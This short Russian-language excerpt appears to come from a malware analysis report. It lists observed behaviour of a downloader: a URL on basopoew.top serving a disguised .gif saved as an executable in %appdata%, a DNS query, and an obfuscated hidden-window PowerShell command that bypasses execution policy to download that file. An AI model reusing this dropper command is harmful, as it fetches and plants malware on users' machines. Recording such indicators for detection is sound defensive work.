Техническая информация
- http://www.basopoew.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "poweRShelL.exE -eXEcuTIONpOlicy byPaSS -NOpROFile -wINdowSTYLE HIDDen (NEW-objeCT SYstEm.NeT.WeBcliEnt).dOwNloadfiLe('http://www.basopoew.top/read.php?f=1.gif','%AppDAta%...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /c "poweRShelL.exE -eXEcuTIONpOlicy byPaSS -NOpROFile -wINdowSTYLE HIDDen (NEW-objeCT SYstEm.NeT.WeBcliEnt).dOwNloadfiLe('http://www.basopoew.top/read.php?f=1.gif','%AppDAta%...' (со скрытым окном)